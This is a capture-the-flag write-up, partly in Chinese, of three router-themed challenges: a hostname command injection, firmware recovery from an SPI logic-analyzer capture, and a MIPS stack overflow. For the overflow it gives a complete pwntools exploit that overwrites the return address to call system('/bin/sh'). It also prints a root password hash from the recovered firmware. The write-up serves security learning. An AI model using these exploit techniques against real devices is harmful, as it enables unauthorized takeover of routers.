iot We found a command injection….. but you have to reboot the router to activate it…
Reboot(Misc) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import os, time, syshostname = 'bababooey' while True : print ('=== MENU ===' ) print ('1. Set hostname' ) print ('2. Reboot' ) print () choice = input ('Choice: ' ) if choice == '1' : hostname = input ('Enter new hostname (30 chars max): ' )[:30 ] elif choice == '2' : print ("Rebooting..." ) sys.stdout.flush() time.sleep(30 ) os.system(f'cat /etc/hosts | grep {hostname} -i' ) print ('Reboot complete' ) else : print ('Invalid choice' )
命令注入? 查询了一下shell相关的文档,发现可以通过 ;去连接两条子命令,# 去注释掉 -i
exp
Sal(HardWare) 1 2 3 4 5 A few friends and I recently hacked into a consumer-grade home router. Our first goal was to obtain the firmware. To do that, we hooked up a SOIC-8 clip to the external flash memory chip, connected a Saleae Logic Pro 8 logic analyzer, and captured data using Logic 2 as we booted up the IoT device. The external flash memory chip was Winbond 25Q128JVSQ. What's the md5sum of /etc/passwd? Flag format - byuctf{hash}
external flash memory chip(外部存储芯片) 一般用来存数据(文件系统),需要分析Saleae逻辑分析仪捕获的信号,来还原这个文件系统
Saleae logic的官网有分析.sai文件的软件,需要下载这个软件来分析题目的附件
可以发现作者用Saleae logic录制了四个通道
通过阅读文档发现 Winbond 25Q128JVSQ使用的是spi通信协议
SPI 有四条信号线,这里主设备是指控制者,从设备是指flash存储芯片
1 2 3 4 MOSI(Master Out Slave In): 主设备输出数据,从设备接收数据。 MISO(Master In Slave Out): 主设备接收数据,从设备输出数据。 SCLK(Serial Clock): 时钟信号,由主设备生成,控制数据的传输速率。 SS/CS(Slave Select/Chip Select): 从设备选择信号。当某个从设备被选中(SS为低电平时),它才会响应主设备的指令。
Saleae logic里有一个spi数据分析的插件,可以把读写数据的行为分析出来
分析并且导出数据,得先区分这四个通道分别对应哪四个信号线,读取数据的时候,CS的电平会被拉低,然后通过DI依次输入0x3h以及一个24位的地址,地址被接收后,从设备准备好输出数据时,时钟信号会从高电平变成低电平触发数据输出
所以通道D1是CLK,D2是CS,D3是DI,D4是DO
设置好参数后就可以用spi内存分析的插件去分析数据了
Saleae输出进行parser的项目,可以分析I2C和SPI,并且可以把spi中的read sessions转换成原数据的项目https://github.com/idaholab/Saleae_Output_Parser
使用这个项目进行分析
1 python3 saleae_parser.py -z spi --binary --device W25Q128JVSQ data.csv
还原成功了,binwalk识别出文件系统了
1 2 3 4 5 6 7 8 9 10 lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser$ binwalk mem_map.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 39192 0x9918 CRC32 polynomial table, little endian 40288 0x9D60 gzip compressed data, maximum compression, from Unix, last modified: 2021-04-28 08:49:30 337944 0x52818 LZMA compressed data, properties: 0x5D, dictionary size: 8388608 bytes, uncompressed size: 7676180 bytes 2949120 0x2D0000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 3157356 bytes, 734 inodes, blocksize: 131072 bytes, created: 2038-02-22 09:50:56 14548992 0xDE0000 JFFS2 filesystem, little endian
flag byuctf{c8ef3ad94c6eb97f4fa94a0f0ed33980}
1 2 3 4 5 lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser/_mem_map.bin.extracted/squashfs-root/etc$ cat passwd root:$6$q6e6auXY$VErm6mljneXnoZfeEg9Z.PDZMi29KP5UKB50DEleSr2DW1z4Bxt.07Y0KQKAzJwNFzas9snKlQXq2LC7gYzwW.:0:0:root:/:/bin/sh nobody:x:0:0:nobody:/:/dev/null lhj@lhj-virtual-machine:~/Desktop/byuctf/iot/Saleae_Output_Parser/_mem_map.bin.extracted/squashfs-root/etc$ md5sum passwd c8ef3ad94c6eb97f4fa94a0f0ed33980 passwd
Token(Pwn,Crypto) 1 While doing hacking our router, we found a buffer overflow that had to be exploited in conditions similar to these ones. If you've never learned MIPS, now is the time!
这是一个mips32 小端序的程序,首先会生成一个十六字节的key,然后发送出来,然后读取数据到bss段上,判断数据前十六个字节是否符合格式,然后再用aes ecb的方式解密十六个字节后的数据最后parse
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 int __cdecl main (int argc, const char **argv, const char **envp) { unsigned int v3; unsigned int v4; int i; unsigned int j; ssize_t v8; int v9; char key[20 ]; char cipher[1032 ]; char v12[20 ]; strcpy (key, "0123456789abcdef" ); v3 = time(0 ); srand(v3); for ( i = 0 ; i < 16 ; ++i ) { v4 = rand() & 0x800000FF ; key[i] = v4; } write(1 , key, 0x10 u); memset (input_buf, 0 , 0x406 u); v8 = read(0 , input_buf, 0x400 u); if ( v8 < 15 ) return 1 ; if ( input_buf[0 ] != 'L' || byte_4140D1 != 'E' || byte_4140D7 != 'G' || byte_4140D8 != 'O' ) return 1 ; if ( (((_BYTE)v8 - 15 ) & 0xF ) != 0 ) return 1 ; v9 = (v8 - 15 ) / 16 ; memset (cipher, 0 , 0x406 u); for ( j = 0 ; j < v8 - 15 ; ++j ) cipher[j] = input_buf[j + 15 ]; decrypt_aes_ecb((int )key, (int )cipher, v9); memset (v12, 0 , sizeof (v12)); parse(cipher, v12); puts (v12); return 0 ; } bool __fastcall decrypt_aes_ecb (int a1, int a2, int a3) { _BOOL4 result; int i; char v5[180 ]; for ( i = 0 ; ; ++i ) { result = i < a3; if ( i >= a3 ) break ; AES_init_ctx(v5, a1); AES_ECB_decrypt(v5, a2 + 16 * i); } return result; } void *__fastcall parse (char *a1, void *a2) { const char *i; char v4; char v5; if ( !a1 ) return memcpy (a2, "{\"code\":-2}" , 0xB u); for ( i = strtok(a1, "&" ); i; i = strtok(0 , "&" ) ) { if ( !strncmp (i, "t=" , 2u ) ) { sscanf (i, "t=%s" , &v4); } else { if ( strncmp (i, "tz=" , 3u ) ) return memcpy (a2, "{\"code\":-1}" , 0xB u); sscanf (i, "tz=%d" , &v5); } } return memcpy (a2, "{\"code\":0}" , 0xB u); }
在parser函数中 解析t=字段的时候value的位置有一个栈溢出,mips在叶子函数调用栈回溯的方式是jmp ra,非叶子函数的回溯方式是把返回地址复制到ra寄存器中再jmp ra,所以劫持控制流jmp到任意地址一次非常简单,但是后续的操作就很麻烦,不能像x86 64中rop的方式,找ret结尾的gadget打rop
程序中有一个输出日志的logging函数有system的引用
1 2 3 4 5 6 7 8 9 10 int logging () { char v1[516 ]; char v2[36 ]; memset (v1, 0 , sizeof (v1)); strcpy (v2, "Imagine this is a log message" ); snprintf (v1, 0x200 u, "echo '%s'" , v2); return system(v1); }
其中有一个片段是,由于第一次输入的地址是在bss段上的,只需要构造payload的时候加上binsh,覆盖fp为bss就能取到binsh的地址
1 2 3 4 5 # .text:0040104C 18 00 C2 27 addiu $v0, $fp, 0x240+var_228 # .text:00401050 25 20 40 00 move $a0, $v0 # command # .text:00401054 7C 80 82 8F la $v0, system # .text:00401058 25 C8 40 00 move $t9, $v0 # .text:0040105C 09 F8 20 03 jalr $t9 ; system
sscanf %s导致的溢出有00截断的原因,但是parser函数的实现,可以通过构造多个”t=”的表达式去实现多次栈溢出,首先先把返回地址的低三个字节覆盖,然后再把fp覆盖成bss就好了
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 from pwn import *from Crypto.Cipher import AESfrom Crypto.Util.Padding import padcontext.log_level = 'debug' binary = "./token" elf = context.binary = ELF(binary, checksec=False ) qemu = ELF('/usr/bin/qemu-mipsel' ,checksec=False ) is_debug = 1 if is_debug: p = qemu.process(['-g' ,'1234' ,'-L' ,'./' ,'./token' ]) else : p = remote("localhost" , 1337 ) def encrypt_ecb (plaintext, key ): cipher = AES.new(key, AES.MODE_ECB) padded_plaintext = pad(plaintext, AES.block_size) ciphertext = cipher.encrypt(padded_plaintext) return ciphertext key = p.recvn(16 ) success(f"key: {key.hex ()} " ) payload = flat( b't=' , b'A' *20 , b'0000' , p32(0x40104c )[:-1 ], b'&t=' , b'A' *20 , p32(0x41410f )[:-1 ], b'&tz=1' ) HEADER = b'LExxxxxGOxxxxxx' ciphertext = encrypt_ecb(payload, key) total = HEADER+ciphertext+b'AAAAAAAA/bin/sh\x00' p.send(total) p.interactive()